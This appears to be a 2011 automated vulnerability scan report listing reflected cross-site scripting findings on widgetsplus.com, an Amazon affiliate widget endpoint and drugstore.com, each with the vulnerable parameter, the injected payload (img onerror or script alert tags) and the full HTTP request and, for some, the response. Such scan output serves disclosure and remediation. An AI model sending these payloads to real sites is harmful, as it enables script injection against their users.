GET /google_plus_widget.php?pid=106933972856076071655&host=thehackernews.com&mbgc=f5f5f5&ww=310&mbc=cecece&bbc=3F79D526123<img%20src%3da%20onerror%3dalert(1)>0030d6232d9&bmobc=3b71c6&bbgc=4889F0&bmoc=3F79D5&bfc=FFFFFF&bmofc=ffffff&tlc=cecece&tc=6a6a6a&nc=6a6a6a&bc=6a6a6a&l=y&t=Add_me_on&fs=16&fsb=13&bw=100&b=s&ff=4&pc=4889F0 HTTP/1.1 Host: widgetsplus.com Proxy-Connection: keep-alive Referer: http://thehackernews.com/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of the bbgc request parameter is copied into the HTML document as plain text between tags. The payload 575dd<img%20src%3da%20onerror%3dalert(1)>be9761ccb76 was submitted in the bbgc parameter. This input was echoed as 575dd<img src=a onerror=alert(1)>be9761ccb76 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /google_plus_widget.php?pid=106933972856076071655&host=thehackernews.com&mbgc=f5f5f5&ww=310&mbc=cecece&bbc=3F79D5&bmobc=3b71c6&bbgc=4889F0575dd<img%20src%3da%20onerror%3dalert(1)>be9761ccb76&bmoc=3F79D5&bfc=FFFFFF&bmofc=ffffff&tlc=cecece&tc=6a6a6a&nc=6a6a6a&bc=6a6a6a&l=y&t=Add_me_on&fs=16&fsb=13&bw=100&b=s&ff=4&pc=4889F0 HTTP/1.1 Host: widgetsplus.com Proxy-Connection: keep-alive Referer: http://thehackernews.com/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of the bc request parameter is copied into the HTML document as plain text between tags. The payload 297ea<img%20src%3da%20onerror%3dalert(1)>53e9bfca482 was submitted in the bc parameter. This input was echoed as 297ea<img src=a onerror=alert(1)>53e9bfca482 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /google_plus_widget.php?pid=106933972856076071655&host=thehackernews.com&mbgc=f5f5f5&ww=310&mbc=cecece&bbc=3F79D5&bmobc=3b71c6&bbgc=4889F0&bmoc=3F79D5&bfc=FFFFFF&bmofc=ffffff&tlc=cecece&tc=6a6a6a&nc=6a6a6a&bc=6a6a6a297ea<img%20src%3da%20onerror%3dalert(1)>53e9bfca482&l=y&t=Add_me_on&fs=16&fsb=13&bw=100&b=s&ff=4&pc=4889F0 HTTP/1.1 Host: widgetsplus.com Proxy-Connection: keep-alive Referer: http://thehackernews.com/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of the bfc request parameter is copied into the HTML document as plain text between tags. The payload 3decf<img%20src%3da%20onerror%3dalert(1)>06ef7a643ee was submitted in the bfc parameter. This input was echoed as 3decf<img src=a onerror=alert(1)>06ef7a643ee in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /google_plus_widget.php?pid=106933972856076071655&host=thehackernews.com&mbgc=f5f5f5&ww=310&mbc=cecece&bbc=3F79D5&bmobc=3b71c6&bbgc=4889F0&bmoc=3F79D5&bfc=FFFFFF3decf<img%20src%3da%20onerror%3dalert(1)>06ef7a643ee&bmofc=ffffff&tlc=cecece&tc=6a6a6a&nc=6a6a6a&bc=6a6a6a&l=y&t=Add_me_on&fs=16&fsb=13&bw=100&b=s&ff=4&pc=4889F0 HTTP/1.1 Host: widgetsplus.com Proxy-Connection: keep-alive Referer: http://thehackernews.com/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of the bmobc request parameter is copied into the HTML document as plain text between tags. The payload 1c0d0<img%20src%3da%20onerror%3dalert(1)>6bc8e074c27 was submitted in the bmobc parameter. This input was echoed as 1c0d0<img src=a onerror=alert(1)>6bc8e074c27 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /google_plus_widget.php?pid=106933972856076071655&host=thehackernews.com&mbgc=f5f5f5&ww=310&mbc=cecece&bbc=3F79D5&bmobc=3b71c61c0d0<img%20src%3da%20onerror%3dalert(1)>6bc8e074c27&bbgc=4889F0&bmoc=3F79D5&bfc=FFFFFF&bmofc=ffffff&tlc=cecece&tc=6a6a6a&nc=6a6a6a&bc=6a6a6a&l=y&t=Add_me_on&fs=16&fsb=13&bw=100&b=s&ff=4&pc=4889F0 HTTP/1.1 Host: widgetsplus.com Proxy-Connection: keep-alive Referer: http://thehackernews.com/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of the bmoc request parameter is copied into the HTML document as plain text between tags. The payload 18f1c<img%20src%3da%20onerror%3dalert(1)>c9726905144 was submitted in the bmoc parameter. This input was echoed as 18f1c<img src=a onerror=alert(1)>c9726905144 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /google_plus_widget.php?pid=106933972856076071655&host=thehackernews.com&mbgc=f5f5f5&ww=310&mbc=cecece&bbc=3F79D5&bmobc=3b71c6&bbgc=4889F0&bmoc=3F79D518f1c<img%20src%3da%20onerror%3dalert(1)>c9726905144&bfc=FFFFFF&bmofc=ffffff&tlc=cecece&tc=6a6a6a&nc=6a6a6a&bc=6a6a6a&l=y&t=Add_me_on&fs=16&fsb=13&bw=100&b=s&ff=4&pc=4889F0 HTTP/1.1 Host: widgetsplus.com Proxy-Connection: keep-alive Referer: http://thehackernews.com/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of the bmofc request parameter is copied into the HTML document as plain text between tags. The payload 9c586<img%20src%3da%20onerror%3dalert(1)>c9c1e598079 was submitted in the bmofc parameter. This input was echoed as 9c586<img src=a onerror=alert(1)>c9c1e598079 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /google_plus_widget.php?pid=106933972856076071655&host=thehackernews.com&mbgc=f5f5f5&ww=310&mbc=cecece&bbc=3F79D5&bmobc=3b71c6&bbgc=4889F0&bmoc=3F79D5&bfc=FFFFFF&bmofc=ffffff9c586<img%20src%3da%20onerror%3dalert(1)>c9c1e598079&tlc=cecece&tc=6a6a6a&nc=6a6a6a&bc=6a6a6a&l=y&t=Add_me_on&fs=16&fsb=13&bw=100&b=s&ff=4&pc=4889F0 HTTP/1.1 Host: widgetsplus.com Proxy-Connection: keep-alive Referer: http://thehackernews.com/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of the bw request parameter is copied into the HTML document as plain text between tags. The payload 62523<img%20src%3da%20onerror%3dalert(1)>aadb8f6bb97 was submitted in the bw parameter. This input was echoed as 62523<img src=a onerror=alert(1)>aadb8f6bb97 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /google_plus_widget.php?pid=106933972856076071655&host=thehackernews.com&mbgc=f5f5f5&ww=310&mbc=cecece&bbc=3F79D5&bmobc=3b71c6&bbgc=4889F0&bmoc=3F79D5&bfc=FFFFFF&bmofc=ffffff&tlc=cecece&tc=6a6a6a&nc=6a6a6a&bc=6a6a6a&l=y&t=Add_me_on&fs=16&fsb=13&bw=10062523<img%20src%3da%20onerror%3dalert(1)>aadb8f6bb97&b=s&ff=4&pc=4889F0 HTTP/1.1 Host: widgetsplus.com Proxy-Connection: keep-alive Referer: http://thehackernews.com/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of the fs request parameter is copied into the HTML document as plain text between tags. The payload 25579<img%20src%3da%20onerror%3dalert(1)>ebba964c05f was submitted in the fs parameter. This input was echoed as 25579<img src=a onerror=alert(1)>ebba964c05f in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /google_plus_widget.php?pid=106933972856076071655&host=thehackernews.com&mbgc=f5f5f5&ww=310&mbc=cecece&bbc=3F79D5&bmobc=3b71c6&bbgc=4889F0&bmoc=3F79D5&bfc=FFFFFF&bmofc=ffffff&tlc=cecece&tc=6a6a6a&nc=6a6a6a&bc=6a6a6a&l=y&t=Add_me_on&fs=1625579<img%20src%3da%20onerror%3dalert(1)>ebba964c05f&fsb=13&bw=100&b=s&ff=4&pc=4889F0 HTTP/1.1 Host: widgetsplus.com Proxy-Connection: keep-alive Referer: http://thehackernews.com/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of the host request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3febc"><img%20src%3da%20onerror%3dalert(1)>4e99e88f065 was submitted in the host parameter. This input was echoed as 3febc\"><img src=a onerror=alert(1)>4e99e88f065 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /google_plus_widget.php?pid=106933972856076071655&host=thehackernews.com3febc"><img%20src%3da%20onerror%3dalert(1)>4e99e88f065&mbgc=f5f5f5&ww=310&mbc=cecece&bbc=3F79D5&bmobc=3b71c6&bbgc=4889F0&bmoc=3F79D5&bfc=FFFFFF&bmofc=ffffff&tlc=cecece&tc=6a6a6a&nc=6a6a6a&bc=6a6a6a&l=y&t=Add_me_on&fs=16&fsb=13&bw=100&b=s&ff=4&pc=4889F0 HTTP/1.1 Host: widgetsplus.com Proxy-Connection: keep-alive Referer: http://thehackernews.com/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of the mbc request parameter is copied into the HTML document as plain text between tags. The payload b8c34<img%20src%3da%20onerror%3dalert(1)>aa7595485d9 was submitted in the mbc parameter. This input was echoed as b8c34<img src=a onerror=alert(1)>aa7595485d9 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /google_plus_widget.php?pid=106933972856076071655&host=thehackernews.com&mbgc=f5f5f5&ww=310&mbc=cececeb8c34<img%20src%3da%20onerror%3dalert(1)>aa7595485d9&bbc=3F79D5&bmobc=3b71c6&bbgc=4889F0&bmoc=3F79D5&bfc=FFFFFF&bmofc=ffffff&tlc=cecece&tc=6a6a6a&nc=6a6a6a&bc=6a6a6a&l=y&t=Add_me_on&fs=16&fsb=13&bw=100&b=s&ff=4&pc=4889F0 HTTP/1.1 Host: widgetsplus.com Proxy-Connection: keep-alive Referer: http://thehackernews.com/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of the mbgc request parameter is copied into the HTML document as plain text between tags. The payload 9a67e<img%20src%3da%20onerror%3dalert(1)>888a5103c6d was submitted in the mbgc parameter. This input was echoed as 9a67e<img src=a onerror=alert(1)>888a5103c6d in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /google_plus_widget.php?pid=106933972856076071655&host=thehackernews.com&mbgc=f5f5f59a67e<img%20src%3da%20onerror%3dalert(1)>888a5103c6d&ww=310&mbc=cecece&bbc=3F79D5&bmobc=3b71c6&bbgc=4889F0&bmoc=3F79D5&bfc=FFFFFF&bmofc=ffffff&tlc=cecece&tc=6a6a6a&nc=6a6a6a&bc=6a6a6a&l=y&t=Add_me_on&fs=16&fsb=13&bw=100&b=s&ff=4&pc=4889F0 HTTP/1.1 Host: widgetsplus.com Proxy-Connection: keep-alive Referer: http://thehackernews.com/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
2.33. http://widgetsplus.com/google_plus_widget.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://widgetsplus.com
Path:
/google_plus_widget.php
Issue detail
The name of an arbitrarily supplied request parameter is copied into the HTML document as plain text between tags. The payload 2fb18<img%20src%3da%20onerror%3dalert(1)>e30ed8f3c79 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 2fb18<img src=a onerror=alert(1)>e30ed8f3c79 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /google_plus_widget.php?pid=106933972856076071655&host=thehackernews.com&mbgc=f5f5f5&ww=310&mbc=cecece&bbc=3F79D5&bmobc=3b71c6&bbgc=4889F0&bmoc=3F79D5&bfc=FFFFFF&bmofc=ffffff&tlc=cecece&tc=6a6a6a&nc=6a6a6a&bc=6a6a6a&l=y&t=Add_me_on&fs=16&fsb=13&bw=100&b=s&ff=4&pc=48/2fb18<img%20src%3da%20onerror%3dalert(1)>e30ed8f3c7989F0 HTTP/1.1 Host: widgetsplus.com Proxy-Connection: keep-alive Referer: http://thehackernews.com/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of the nc request parameter is copied into the HTML document as plain text between tags. The payload 32064<img%20src%3da%20onerror%3dalert(1)>bfaaad071b9 was submitted in the nc parameter. This input was echoed as 32064<img src=a onerror=alert(1)>bfaaad071b9 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /google_plus_widget.php?pid=106933972856076071655&host=thehackernews.com&mbgc=f5f5f5&ww=310&mbc=cecece&bbc=3F79D5&bmobc=3b71c6&bbgc=4889F0&bmoc=3F79D5&bfc=FFFFFF&bmofc=ffffff&tlc=cecece&tc=6a6a6a&nc=6a6a6a32064<img%20src%3da%20onerror%3dalert(1)>bfaaad071b9&bc=6a6a6a&l=y&t=Add_me_on&fs=16&fsb=13&bw=100&b=s&ff=4&pc=4889F0 HTTP/1.1 Host: widgetsplus.com Proxy-Connection: keep-alive Referer: http://thehackernews.com/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of the pc request parameter is copied into the HTML document as plain text between tags. The payload 94c51<img%20src%3da%20onerror%3dalert(1)>948ccca63d4 was submitted in the pc parameter. This input was echoed as 94c51<img src=a onerror=alert(1)>948ccca63d4 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /google_plus_widget.php?pid=106933972856076071655&host=thehackernews.com&mbgc=f5f5f5&ww=310&mbc=cecece&bbc=3F79D5&bmobc=3b71c6&bbgc=4889F0&bmoc=3F79D5&bfc=FFFFFF&bmofc=ffffff&tlc=cecece&tc=6a6a6a&nc=6a6a6a&bc=6a6a6a&l=y&t=Add_me_on&fs=16&fsb=13&bw=100&b=s&ff=4&pc=4889F094c51<img%20src%3da%20onerror%3dalert(1)>948ccca63d4 HTTP/1.1 Host: widgetsplus.com Proxy-Connection: keep-alive Referer: http://thehackernews.com/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of the t request parameter is copied into the HTML document as plain text between tags. The payload 89cf2<img%20src%3da%20onerror%3dalert(1)>9a7be0850b8 was submitted in the t parameter. This input was echoed as 89cf2<img src=a onerror=alert(1)>9a7be0850b8 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /google_plus_widget.php?pid=106933972856076071655&host=thehackernews.com&mbgc=f5f5f5&ww=310&mbc=cecece&bbc=3F79D5&bmobc=3b71c6&bbgc=4889F0&bmoc=3F79D5&bfc=FFFFFF&bmofc=ffffff&tlc=cecece&tc=6a6a6a&nc=6a6a6a&bc=6a6a6a&l=y&t=Add_me_on89cf2<img%20src%3da%20onerror%3dalert(1)>9a7be0850b8&fs=16&fsb=13&bw=100&b=s&ff=4&pc=4889F0 HTTP/1.1 Host: widgetsplus.com Proxy-Connection: keep-alive Referer: http://thehackernews.com/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of the tc request parameter is copied into the HTML document as plain text between tags. The payload 8439b<img%20src%3da%20onerror%3dalert(1)>5879202c08c was submitted in the tc parameter. This input was echoed as 8439b<img src=a onerror=alert(1)>5879202c08c in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /google_plus_widget.php?pid=106933972856076071655&host=thehackernews.com&mbgc=f5f5f5&ww=310&mbc=cecece&bbc=3F79D5&bmobc=3b71c6&bbgc=4889F0&bmoc=3F79D5&bfc=FFFFFF&bmofc=ffffff&tlc=cecece&tc=6a6a6a8439b<img%20src%3da%20onerror%3dalert(1)>5879202c08c&nc=6a6a6a&bc=6a6a6a&l=y&t=Add_me_on&fs=16&fsb=13&bw=100&b=s&ff=4&pc=4889F0 HTTP/1.1 Host: widgetsplus.com Proxy-Connection: keep-alive Referer: http://thehackernews.com/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of the tlc request parameter is copied into the HTML document as plain text between tags. The payload 2bfeb<img%20src%3da%20onerror%3dalert(1)>eb9fdd2a92b was submitted in the tlc parameter. This input was echoed as 2bfeb<img src=a onerror=alert(1)>eb9fdd2a92b in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /google_plus_widget.php?pid=106933972856076071655&host=thehackernews.com&mbgc=f5f5f5&ww=310&mbc=cecece&bbc=3F79D5&bmobc=3b71c6&bbgc=4889F0&bmoc=3F79D5&bfc=FFFFFF&bmofc=ffffff&tlc=cecece2bfeb<img%20src%3da%20onerror%3dalert(1)>eb9fdd2a92b&tc=6a6a6a&nc=6a6a6a&bc=6a6a6a&l=y&t=Add_me_on&fs=16&fsb=13&bw=100&b=s&ff=4&pc=4889F0 HTTP/1.1 Host: widgetsplus.com Proxy-Connection: keep-alive Referer: http://thehackernews.com/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of the InstanceId request parameter is copied into the HTML document as plain text between tags. The payload ad702<script>alert(1)</script>0fab63627de was submitted in the InstanceId parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 200 OK Date: Fri, 16 Sep 2011 16:20:23 GMT Server: Server Cache-Control: must-revalidate Pragma: no-cache Expires: -1 p3p: policyref="http://www.amazon.com/w3c/p3p.xml",CP="CAO DSP LAW CUR ADM IVAo IVDo CONo OTPo OUR DELi PUBi OTRi BUS PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA HEA PRE LOC GOV OTC " charset: UTF-8 Content-Length: 4272 Vary: User-Agent nnCoection: close Content-Type: text/json;charset=UTF-8
The value of the rt request parameter is copied into the HTML document as plain text between tags. The payload 95dae<script>alert(1)</script>6a5adbf78b9 was submitted in the rt parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 200 OK Date: Fri, 16 Sep 2011 16:19:37 GMT Server: Server Cache-Control: must-revalidate Pragma: no-cache Expires: -1 p3p: policyref="http://www.amazon.com/w3c/p3p.xml",CP="CAO DSP LAW CUR ADM IVAo IVDo CONo OTPo OUR DELi PUBi OTRi BUS PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA HEA PRE LOC GOV OTC " charset: UTF-8 Vary: User-Agent nnCoection: close Content-Type: application/javascript;charset=UTF-8 Content-Length: 17017
var amzn_wdgt={"cols":3,"tag":"opera-20","width":"615","inner_bkgd_color":"#FFFFFF","serviceVersion":"20070822","use_default_search_term":false," ...[SNIP]... ,"show_price":true,"border_color":"#636363","text_color":"#000000"} amzn_wdgt.ID = "V20070822/US/opera-20/8002/238229ae-452b-41fb-b7b3-1913a7cb0733"; amzn_wdgt.rt = "as_li_tf_sw95dae<script>alert(1)</script>6a5adbf78b9"; if (typeof _amzn_utils_strs == "undefined") { _amzn_utils_strs = {}; }; _amzn_utils_strs.getStringForUS = function(key){ var obj = new Object(); obj.Book = 'Book'; obj.Se ...[SNIP]...
2.41. http://www.drugstore.com/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.drugstore.com
Path:
/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ec1bb"><script>alert(1)</script>204f91ee9a2 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /?ec1bb"><script>alert(1)</script>204f91ee9a2=1 HTTP/1.1 Host: www.drugstore.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Cookie: STICKY=SEAWEB013P:7B1B08A6C5BF4A968C79C9BFB007FDD0:e5fygw55j4x2lwjzim2cqdi4
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 82029 Content-Type: text/html; charset=utf-8 Expires: Thu, 15 Sep 2011 16:30:37 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: STICKY=SEAWEB038P:7B1B08A6C5BF4A968C79C9BFB007FDD0:iqngviqoeihb2c45cjnvlk45; domain=.drugstore.com; expires=Thu, 15-Jan-2037 08:00:00 GMT; path=/ P3P: CP=CAO DSP COR CUR ADM DEV TAI PSD IVD CONi OUR DEL OTRo IND Date: Fri, 16 Sep 2011 16:30:37 GMT Set-Cookie: BIGipServerdscm_farm=2316609728.0.0000; expires=Fri, 16-Sep-2011 17:30:37 GMT; path=/ Vary: Accept-Encoding, User-Agent
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html><head><!-- www at 09/16/2011 9:30:37 AM --><title>drugstore.com Online ...[SNIP]... <meta name="uri" content="/Default.asp?ec1bb"><script>alert(1)</script>204f91ee9a2=1" /> ...[SNIP]...
2.42. http://www.drugstore.com/pharmacy/drugindex/rxsearch.asp [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.drugstore.com
Path:
/pharmacy/drugindex/rxsearch.asp
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 96e13"><script>alert(1)</script>b95a630ec78 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the callback request parameter is copied into the HTML document as plain text between tags. The payload 48043<script>alert(1)</script>b3ce9c0321b was submitted in the callback parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 200 OK Cache-Control: private,max-age=0 Content-Type: text/javascript; charset=utf-8 Expires: Wed, 01 Jan 1997 12:00:00 GMT Vary: Accept-Encoding Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET P3P: policyref="/w3c/p3p.xml", CP="COM CNT DEM FIN GOV INT NAV ONL PHY PRE PUR STA UNI IDC CAO OTI DSP COR CUR i OUR IND" Date: Fri, 16 Sep 2011 18:10:00 GMT Content-Length: 67
